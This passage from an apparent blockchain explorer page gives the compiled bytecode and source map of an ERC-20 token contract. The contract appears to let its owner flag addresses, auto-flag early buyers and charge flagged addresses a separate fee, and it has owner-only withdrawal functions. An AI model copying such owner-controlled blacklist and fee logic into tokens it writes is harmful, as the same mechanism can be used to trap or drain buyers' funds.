2600f60248201526e13585e15d85b1b195d105b5bdd5b9d608a1b604482015260640161064e565b6011545f90600160a01b900460ff1680610f6f57506001600160a01b0384165f9081526009602052604090205460ff165b80610f9157506001600160a01b0383165f9081526009602052604090205460ff165b15610f9d57505f611015565b6004546001600160a01b038481169116148015610fd257506001600160a01b0384165f908152600a602052604090205460ff16155b15610ff857606460085483610fe791906118fd565b610ff19190611914565b9050611015565b60646007548361100891906118fd565b6110129190611914565b90505b601154600160a81b900460ff1680156110385750601154600160a01b900460ff16155b801561105257506004546001600160a01b03858116911614155b801561105d57505f81115b1561106a5761106a61120b565b80156110945761107b843083611251565b61108f848461108a8585611427565b611251565b61109f565b61109f848484611251565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b804710156111465760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161064e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f811461118f576040519150601f19603f3d011682016040523d82523d5f602084013e611194565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161064e565b305f90815260208190526040902054600e548110610ada574761122d8261146f565b5f611238824761188c565b600c54909150610989906001600160a01b0316826110f6565b6001600160a01b0383166112b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064e565b6001600160a01b0382166113175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064e565b6001600160a01b0383165f908152602081905260409020548181101561138e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161064e565b611398828261188c565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113cd90849061189f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161141991815260200190565b60405180910390a350505050565b5f61146883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115bf565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106114a2576114a26118b2565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151d9190611933565b81600181518110611530576115306118b2565b6001600160a01b0392831660209182029290920101526011546115569130911684610b75565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061158e9085905f9086903090429060040161194e565b5f604051808303815f87803b1580156115a5575f80fd5b505af11580156115b7573d5f803e3d5ffd5b505050505050565b5f81848411156115e25760405162461bcd60e51b815260040161064e91906115f7565b505f6115ee858561188c565b95945050505050565b5f6020808352835180828501525f5b8181101561162257858101830151858201604001528201611606565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ada575f80fd5b803561166181611642565b919050565b5f8060408385031215611677575f80fd5b823561168281611642565b946020939093013593505050565b5f805f606084860312156116a2575f80fd5b83356116ad81611642565b925060208401356116bd81611642565b929592945050506040919091013590565b5f602082840312156116de575f80fd5b813561146881611642565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561170e575f80fd5b823567ffffffffffffffff80821115611725575f80fd5b818501915085601f830112611738575f80fd5b81358181111561174a5761174a6116e9565b8060051b604051601f19603f8301168101818110858211171561176f5761176f6116e9565b60405291825284820192508381018501918883111561178c575f80fd5b938501935b828510156117b1576117a285611656565b84529385019392850192611791565b98975050505050505050565b5f80604083850312156117ce575f80fd5b82356117d981611642565b915060208301356117e981611642565b809150509250929050565b5f60208284031215611804575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061185457607f821691505b60208210810361187257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561070e5761070e611878565b8082018082111561070e5761070e611878565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118d7576118d7611878565b5060010190565b5f602082840312156118ee575f80fd5b81518015158114611468575f80fd5b808202811582820484141761070e5761070e611878565b5f8261192e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611943575f80fd5b815161146881611642565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561199c5784516001600160a01b031683529383019391830191600101611977565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205c0bfba91184952e5bc5d5f685d3e872406473f4a0f507fc0b244d94e8e747c964736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101f3575f3560e01c8063943f8e9611610108578063d24bbdd81161009d578063e559d86a1161006d578063e559d86a1461059d578063ef78236d146105bc578063efbe5f46146105d1578063f14210a6146105e6578063f2fde38b14610605575f80fd5b8063d24bbdd814610501578063dbe66ca014610516578063dd62ed3e14610544578063e4e99a0514610588575f80fd5b80639ed6b920116100d85780639ed6b9201461048f578063a457c2d7146104ae578063a9059cbb146104cd578063cf9dd753146104ec575f80fd5b8063943f8e961461042757806395d89b41146104475780639764d1f71461045b578063979262481461047a575f80fd5b8063313ce5671161018957806370a082311161015957806370a082311461038e578063715018a6146103c2578063735de9f7146103d657806381ffc9f4146103f55780638da5cb5b1461040a575f80fd5b8063313ce5671461031657806332972e4614610331578063395093511461035057806354f506421461036f575f80fd5b806318160ddd116101c457806318160ddd146102a457806319675f26146102c25780631c1702f3146102d757806323b872dd146102f7575f80fd5b806299d386146101fe57806306fdde0314610214578063095ea7b31461023e57806316d99c8c1461026d575f80fd5b366101fa57005b5f80fd5b348015610209575f80fd5b50610212610624565b005b34801561021f575f80fd5b5061022861066e565b60405161023591906115f7565b60405180910390f35b348015610249575f80fd5b5061025d610258366004611666565b6106fe565b6040519015158152602001610235565b348015610278575f80fd5b50600d5461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102af575f80fd5b506001545b604051908152602001610235565b3480156102cd575f80fd5b506102b460135481565b3480156102e2575f80fd5b5060115461025d90600160b01b900460ff1681565b348015610302575f80fd5b5061025d610311366004611690565b610714565b348015610321575f80fd5b5060405160128152602001610235565b34801561033c575f80fd5b5060045461028c906001600160a01b031681565b34801561035b575f80fd5b5061025d61036a366004611666565b6107c3565b34801561037a575f80fd5b50600c5461028c906001600160a01b031681565b348015610399575f80fd5b506102b46103a83660046116ce565b6001600160a01b03165f9081526020819052604090205490565b3480156103cd575f80fd5b506102126107f9565b3480156103e1575f80fd5b5060115461028c906001600160a01b031681565b348015610400575f80fd5b506102b4600e5481565b348015610415575f80fd5b506006546001600160a01b031661028c565b348015610432575f80fd5b5060115461025d90600160a81b900460ff1681565b348015610452575f80fd5b5061022861082e565b348015610466575f80fd5b506102126104753660046116fd565b61083d565b348015610485575f80fd5b506102b460105481565b34801561049a575f80fd5b506102126104a9366004611666565b6108d0565b3480156104b9575f80fd5b5061025d6104c8366004611666565b61098e565b3480156104d8575f80fd5b5061025d6104e7366004611666565b610a28565b3480156104f7575f80fd5b506102b4600f5481565b34801561050c575f80fd5b506102b460075481565b348015610521575f80fd5b5061025d6105303660046116ce565b60096020525f908152604090205460ff1681565b34801561054f575f80fd5b506102b461055e3660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610593575f80fd5b506102b460125481565b3480156105a8575f80fd5b506102126105b73660046117f4565b610a34565b3480156105c7575f80fd5b506102b4600b5481565b3480156105dc575f80fd5b506102b460085481565b3480156105f1575f80fd5b506102126106003660046117f4565b610a8b565b348015610610575f80fd5b5061021261061f3660046116ce565b610add565b6006546001600160a01b031633146106575760405162461bcd60e51b815260040161064e9061180b565b60405180910390fd5b6011805461ffff60a81b191661010160a81b179055565b60606002805461067d90611840565b80601f01602080910402602001604051908101604052809291908181526020018280546106a990611840565b80156106f45780601f106106cb576101008083540402835291602001916106f4565b820191905f5260205f20905b8154815290600101906020018083116106d757829003601f168201915b5050505050905090565b5f61070a338484610b75565b5060015b92915050565b5f610720848484610c98565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107a45760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161064e565b6107b885336107b3868561188c565b610b75565b506001949350505050565b335f8181526005602090815260408083206001600160a01b0387168452909152812054909161070a9185906107b390869061189f565b6006546001600160a01b031633146108235760405162461bcd60e51b815260040161064e9061180b565b61082c5f6110a5565b565b60606003805461067d90611840565b6006546001600160a01b031633146108675760405162461bcd60e51b815260040161064e9061180b565b5f5b81518110156108cc576001600a5f848481518110610889576108896118b2565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806108c4816118c6565b915050610869565b5050565b6006546001600160a01b031633146108fa5760405162461bcd60e51b815260040161064e9061180b565b816001600160a01b031663a9059cbb61091b6006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610965573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098991906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161064e565b610a1e33856107b3868561188c565b5060019392505050565b5f61070a338484610c98565b6006546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161064e9061180b565b610a7081670de0b6b3a76400006118fd565b600f55610a8581670de0b6b3a76400006118fd565b60105550565b6006546001600160a01b03163314610ab55760405162461bcd60e51b815260040161064e9061180b565b610ada81610acb6006546001600160a01b031690565b6001600160a01b0316906110f6565b50565b6006546001600160a01b03163314610b075760405162461bcd60e51b815260040161064e9061180b565b6001600160a01b038116610b6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064e565b610ada816110a5565b6001600160a01b038316610bd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6001600160a01b038216610c385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610cf95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064e565b6001600160a01b0382165f908152600a602052604090205460ff1680610d3657506001600160a01b0383165f908152600a602052604090205460ff165b15610d4257600b546008555b6001600160a01b0382165f9081526009602052604090205460ff16158015610d8257506001600160a01b0383165f9081526009602052604090205460ff16155b8015610d985750601154600160a01b900460ff16155b15610f3e57601154600160b01b900460ff16610df65760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161064e565b43601354601254610e07919061189f565b1115610e7d576004546001600160a01b03838116911614610e45576001600160a01b0382165f908152600a60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e7d576001600160a01b0383165f908152600a60205260409020805460ff191660011790555b600f54811115610ebd5760405162461bcd60e51b815260206004820152600b60248201526a13585e151e105b5bdd5b9d60aa1b604482015260640161064e565b6004546001600160a01b03838116911614610f3e5760105481610ef4846001600160a01b03165f9081526020819052604090205490565b610efe919061189f565b1115610f3e5760405162461bcd60e51b815260206004820152600f60248201526e13585e15d85b1b195d105b5bdd5b9d608a1b604482015260640161064e565b6011545f90600160a01b900460ff1680610f6f57506001600160a01b0384165f9081526009602052604090205460ff165b80610f9157506001600160a01b0383165f9081526009602052604090205460ff165b15610f9d57505f611015565b6004546001600160a01b038481169116148015610fd257506001600160a01b0384165f908152600a602052604090205460ff16155b15610ff857606460085483610fe791906118fd565b610ff19190611914565b9050611015565b60646007548361100891906118fd565b6110129190611914565b90505b601154600160a81b900460ff1680156110385750601154600160a01b900460ff16155b801561105257506004546001600160a01b03858116911614155b801561105d57505f81115b1561106a5761106a61120b565b80156110945761107b843083611251565b61108f848461108a8585611427565b611251565b61109f565b61109f848484611251565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b804710156111465760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161064e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f811461118f576040519150601f19603f3d011682016040523d82523d5f602084013e611194565b606091505b50509050806109895760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161064e565b305f90815260208190526040902054600e548110610ada574761122d8261146f565b5f611238824761188c565b600c54909150610989906001600160a01b0316826110f6565b6001600160a01b0383166112b55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064e565b6001600160a01b0382166113175760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064e565b6001600160a01b0383165f908152602081905260409020548181101561138e5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161064e565b611398828261188c565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113cd90849061189f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161141991815260200190565b60405180910390a350505050565b5f61146883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115bf565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106114a2576114a26118b2565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061151d9190611933565b81600181518110611530576115306118b2565b6001600160a01b0392831660209182029290920101526011546115569130911684610b75565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061158e9085905f9086903090429060040161194e565b5f604051808303815f87803b1580156115a5575f80fd5b505af11580156115b7573d5f803e3d5ffd5b505050505050565b5f81848411156115e25760405162461bcd60e51b815260040161064e91906115f7565b505f6115ee858561188c565b95945050505050565b5f6020808352835180828501525f5b8181101561162257858101830151858201604001528201611606565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ada575f80fd5b803561166181611642565b919050565b5f8060408385031215611677575f80fd5b823561168281611642565b946020939093013593505050565b5f805f606084860312156116a2575f80fd5b83356116ad81611642565b925060208401356116bd81611642565b929592945050506040919091013590565b5f602082840312156116de575f80fd5b813561146881611642565b634e487b7160e01b5f52604160045260245ffd5b5f602080838503121561170e575f80fd5b823567ffffffffffffffff80821115611725575f80fd5b818501915085601f830112611738575f80fd5b81358181111561174a5761174a6116e9565b8060051b604051601f19603f8301168101818110858211171561176f5761176f6116e9565b60405291825284820192508381018501918883111561178c575f80fd5b938501935b828510156117b1576117a285611656565b84529385019392850192611791565b98975050505050505050565b5f80604083850312156117ce575f80fd5b82356117d981611642565b915060208301356117e981611642565b809150509250929050565b5f60208284031215611804575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061185457607f821691505b60208210810361187257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561070e5761070e611878565b8082018082111561070e5761070e611878565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118d7576118d7611878565b5060010190565b5f602082840312156118ee575f80fd5b81518015158114611468575f80fd5b808202811582820484141761070e5761070e611878565b5f8261192e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611943575f80fd5b815161146881611642565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561199c5784516001600160a01b031683529383019391830191600101611977565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212205c0bfba91184952e5bc5d5f685d3e872406473f4a0f507fc0b244d94e8e747c964736f6c63430008140033

Deployed Bytecode Sourcemap

12662:5433:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14255:98;;;;;;;;;;;;;:::i;:::-;;6989:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7793:169;;;;;;;;;;-1:-1:-1;7793:169:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7793:169:0;1162:187:1;13086:71:0;;;;;;;;;;-1:-1:-1;13086:71:0;;;;-1:-1:-1;;;;;13086:71:0;;;;;;-1:-1:-1;;;;;1518:32:1;;;1500:51;;1488:2;1473:18;13086:71:0;1354:203:1;7097:108:0;;;;;;;;;;-1:-1:-1;7185:12:0;;7097:108;;;1708:25:1;;;1696:2;1681:18;7097:108:0;1562:177:1;13505:28:0;;;;;;;;;;;;;;;;13443:24;;;;;;;;;;-1:-1:-1;13443:24:0;;;;-1:-1:-1;;;13443:24:0;;;;;;7968:422;;;;;;;;;;-1:-1:-1;7968:422:0;;;;;:::i;:::-;;:::i;7213:93::-;;;;;;;;;;-1:-1:-1;7213:93:0;;7296:2;2347:36:1;;2335:2;2320:18;7213:93:0;2205:184:1;6642:22:0;;;;;;;;;;-1:-1:-1;6642:22:0;;;;-1:-1:-1;;;;;6642:22:0;;;8396:215;;;;;;;;;;-1:-1:-1;8396:215:0;;;;;:::i;:::-;;:::i;13008:71::-;;;;;;;;;;-1:-1:-1;13008:71:0;;;;-1:-1:-1;;;;;13008:71:0;;;7316:127;;;;;;;;;;-1:-1:-1;7316:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7417:18:0;7390:7;7417:18;;;;;;;;;;;;7316:127;12180:94;;;;;;;;;;;;;:::i;13342:28::-;;;;;;;;;;-1:-1:-1;13342:28:0;;;;-1:-1:-1;;;;;13342:28:0;;;13164:44;;;;;;;;;;;;;;;;12083:87;;;;;;;;;;-1:-1:-1;12156:6:0;;-1:-1:-1;;;;;12156:6:0;12083:87;;13414:22;;;;;;;;;;-1:-1:-1;13414:22:0;;;;-1:-1:-1;;;13414:22:0;;;;;;6877:104;;;;;;;;;;;;;:::i;16816:174::-;;;;;;;;;;-1:-1:-1;16816:174:0;;;;;:::i;:::-;;:::i;13274:53::-;;;;;;;;;;;;;;;;16229:149;;;;;;;;;;-1:-1:-1;16229:149:0;;;;;:::i;:::-;;:::i;9173:377::-;;;;;;;;;;-1:-1:-1;9173:377:0;;;;;:::i;:::-;;:::i;7451:175::-;;;;;;;;;;-1:-1:-1;7451:175:0;;;;;:::i;:::-;;:::i;13215:46::-;;;;;;;;;;;;;;;;12798:28;;;;;;;;;;;;;;;;12864:49;;;;;;;;;;-1:-1:-1;12864:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7634:151;;;;;;;;;;-1:-1:-1;7634:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;7750:18:0;;;7723:7;7750:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7634:151;13474:24;;;;;;;;;;;;;;;;17424:147;;;;;;;;;;-1:-1:-1;17424:147:0;;;;;:::i;:::-;;:::i;12971:30::-;;;;;;;;;;;;;;;;12828:29;;;;;;;;;;;;;;;;14133:114;;;;;;;;;;-1:-1:-1;14133:114:0;;;;;:::i;:::-;;:::i;12459:192::-;;;;;;;;;;-1:-1:-1;12459:192:0;;;;;:::i;:::-;;:::i;14255:98::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;;;;;;;;;14307:12:::1;:19:::0;;-1:-1:-1;;;;14328:17:0;-1:-1:-1;;;14328:17:0;;;14255:98::o;6989:100::-;7043:13;7076:5;7069:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6989:100;:::o;7793:169::-;7876:4;7893:39;5006:10;7916:7;7925:6;7893:8;:39::i;:::-;-1:-1:-1;7950:4:0;7793:169;;;;;:::o;7968:422::-;8074:4;8091:36;8101:6;8109:9;8120:6;8091:9;:36::i;:::-;-1:-1:-1;;;;;8167:19:0;;8140:24;8167:19;;;:11;:19;;;;;;;;5006:10;8167:33;;;;;;;;8219:26;;;;8211:79;;;;-1:-1:-1;;;8211:79:0;;5653:2:1;8211:79:0;;;5635:21:1;5692:2;5672:18;;;5665:30;5731:34;5711:18;;;5704:62;-1:-1:-1;;;5782:18:1;;;5775:38;5830:19;;8211:79:0;5451:404:1;8211:79:0;8301:57;8310:6;5006:10;8332:25;8351:6;8332:16;:25;:::i;:::-;8301:8;:57::i;:::-;-1:-1:-1;8378:4:0;;7968:422;-1:-1:-1;;;;7968:422:0:o;8396:215::-;5006:10;8484:4;8533:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8533:34:0;;;;;;;;;;8484:4;;8501:80;;8524:7;;8533:47;;8570:10;;8533:47;:::i;12180:94::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;12245:21:::1;12263:1;12245:9;:21::i;:::-;12180:94::o:0;6877:104::-;6933:13;6966:7;6959:14;;;;;:::i;16816:174::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;16894:6:::1;16889:94;16910:6;:13;16906:1;:17;16889:94;;;16967:4;16945:8;:19;16954:6;16961:1;16954:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;16945:19:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;16945:19:0;:26;;-1:-1:-1;;16945:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16925:3;::::1;::::0;::::1;:::i;:::-;;;;16889:94;;;;16816:174:::0;:::o;16229:149::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;16331:12:::1;-1:-1:-1::0;;;;;16324:29:0::1;;16354:7;12156:6:::0;;-1:-1:-1;;;;;12156:6:0;;12083:87;16354:7:::1;16324:46;::::0;-1:-1:-1;;;;;;16324:46:0::1;::::0;;;;;;-1:-1:-1;;;;;6719:32:1;;;16324:46:0::1;::::0;::::1;6701:51:1::0;6768:18;;;6761:34;;;6674:18;;16324:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16229:149:::0;;:::o;9173:377::-;5006:10;9266:4;9310:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9310:34:0;;;;;;;;;;9363:35;;;;9355:85;;;;-1:-1:-1;;;9355:85:0;;7290:2:1;9355:85:0;;;7272:21:1;7329:2;7309:18;;;7302:30;7368:34;7348:18;;;7341:62;-1:-1:-1;;;7419:18:1;;;7412:35;7464:19;;9355:85:0;7088:401:1;9355:85:0;9451:67;5006:10;9474:7;9483:34;9502:15;9483:16;:34;:::i;9451:67::-;-1:-1:-1;9538:4:0;;9173:377;-1:-1:-1;;;9173:377:0:o;7451:175::-;7537:4;7554:42;5006:10;7578:9;7589:6;7554:9;:42::i;17424:147::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;17503:15:::1;:6:::0;17512::::1;17503:15;:::i;:::-;17491:9;:27:::0;17548:15:::1;:6:::0;17557::::1;17548:15;:::i;:::-;17529:16;:34:::0;-1:-1:-1;17424:147:0:o;14133:114::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;14202:37:::1;14229:9;14210:7;12156:6:::0;;-1:-1:-1;;;;;12156:6:0;;12083:87;14210:7:::1;-1:-1:-1::0;;;;;14202:26:0::1;::::0;::::1;:37::i;:::-;14133:114:::0;:::o;12459:192::-;12156:6;;-1:-1:-1;;;;;12156:6:0;5006:10;11997:23;11989:68;;;;-1:-1:-1;;;11989:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12548:22:0;::::1;12540:73;;;::::0;-1:-1:-1;;;12540:73:0;;7869:2:1;12540:73:0::1;::::0;::::1;7851:21:1::0;7908:2;7888:18;;;7881:30;7947:34;7927:18;;;7920:62;-1:-1:-1;;;7998:18:1;;;7991:36;8044:19;;12540:73:0::1;7667:402:1::0;12540:73:0::1;12624:19;12634:8;12624:9;:19::i;9560:346::-:0;-1:-1:-1;;;;;9662:19:0;;9654:68;;;;-1:-1:-1;;;9654:68:0;;8276:2:1;9654:68:0;;;8258:21:1;8315:2;8295:18;;;8288:30;8354:34;8334:18;;;8327:62;-1:-1:-1;;;8405:18:1;;;8398:34;8449:19;;9654:68:0;8074:400:1;9654:68:0;-1:-1:-1;;;;;9741:21:0;;9733:68;;;;-1:-1:-1;;;9733:68:0;;8681:2:1;9733:68:0;;;8663:21:1;8720:2;8700:18;;;8693:30;8759:34;8739:18;;;8732:62;-1:-1:-1;;;8810:18:1;;;8803:32;8852:19;;9733:68:0;8479:398:1;9733:68:0;-1:-1:-1;;;;;9814:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9866:32;;1708:25:1;;;9866:32:0;;1681:18:1;9866:32:0;;;;;;;9560:346;;;:::o;14424:1789::-;14540:1;14531:6;:10;14523:64;;;;-1:-1:-1;;;14523:64:0;;9084:2:1;14523:64:0;;;9066:21:1;9123:2;9103:18;;;9096:30;9162:34;9142:18;;;9135:62;-1:-1:-1;;;9213:18:1;;;9206:39;9262:19;;14523:64:0;8882:405:1;14523:64:0;-1:-1:-1;;;;;14592:19:0;;;;;;:8;:19;;;;;;;;;:39;;-1:-1:-1;;;;;;14615:16:0;;;;;;:8;:16;;;;;;;;14592:39;14589:67;;;14646:10;;14633;:23;14589:67;-1:-1:-1;;;;;14672:27:0;;;;;;:16;:27;;;;;;;;14671:28;:57;;;;-1:-1:-1;;;;;;14704:24:0;;;;;;:16;:24;;;;;;;;14703:25;14671:57;:75;;;;-1:-1:-1;14733:13:0;;-1:-1:-1;;;14733:13:0;;;;14732:14;14671:75;14667:765;;;14799:12;;-1:-1:-1;;;14799:12:0;;;;14773:100;;;;-1:-1:-1;;;14773:100:0;;9494:2:1;14773:100:0;;;9476:21:1;9533:2;9513:18;;;9506:30;9572:27;9552:18;;;9545:55;9617:18;;14773:100:0;9292:349:1;14773:100:0;14916:12;14904:9;;14892;;:21;;;;:::i;:::-;:36;14888:276;;;14965:7;;-1:-1:-1;;;;;14952:20:0;;;14965:7;;14952:20;14949:94;;-1:-1:-1;;;;;14997:19:0;;;;;;:8;:19;;;;;:26;;-1:-1:-1;;14997:26:0;15019:4;14997:26;;;14949:94;15074:7;;-1:-1:-1;;;;;15064:17:0;;;15074:7;;15064:17;15061:88;;-1:-1:-1;;;;;15106:16:0;;;;;;:8;:16;;;;;:23;;-1:-1:-1;;15106:23:0;15125:4;15106:23;;;15061:88;15183:9;;15173:6;:19;;15165:43;;;;-1:-1:-1;;;15165:43:0;;9848:2:1;15165:43:0;;;9830:21:1;9887:2;9867:18;;;9860:30;-1:-1:-1;;;9906:18:1;;;9899:41;9957:18;;15165:43:0;9646:335:1;15165:43:0;15239:7;;-1:-1:-1;;;;;15226:20:0;;;15239:7;;15226:20;15223:198;;15329:16;;15319:6;15296:20;15306:9;-1:-1:-1;;;;;7417:18:0;7390:7;7417:18;;;;;;;;;;;;7316:127;15296:20;:29;;;;:::i;:::-;:49;;15266:139;;;;-1:-1:-1;;;15266:139:0;;10188:2:1;15266:139:0;;;10170:21:1;10227:2;10207:18;;;10200:30;-1:-1:-1;;;10246:18:1;;;10239:45;10301:18;;15266:139:0;9986:339:1;15266:139:0;15471:13;;15442:14;;-1:-1:-1;;;15471:13:0;;;;;:41;;-1:-1:-1;;;;;;15488:24:0;;;;;;:16;:24;;;;;;;;15471:41;:72;;;-1:-1:-1;;;;;;15516:27:0;;;;;;:16;:27;;;;;;;;15471:72;15467:370;;;-1:-1:-1;15579:1:0;15467:370;;;15649:7;;-1:-1:-1;;;;;15636:20:0;;;15649:7;;15636:20;:41;;;;-1:-1:-1;;;;;;15661:16:0;;;;;;:8;:16;;;;;;;;15660:17;15636:41;15633:193;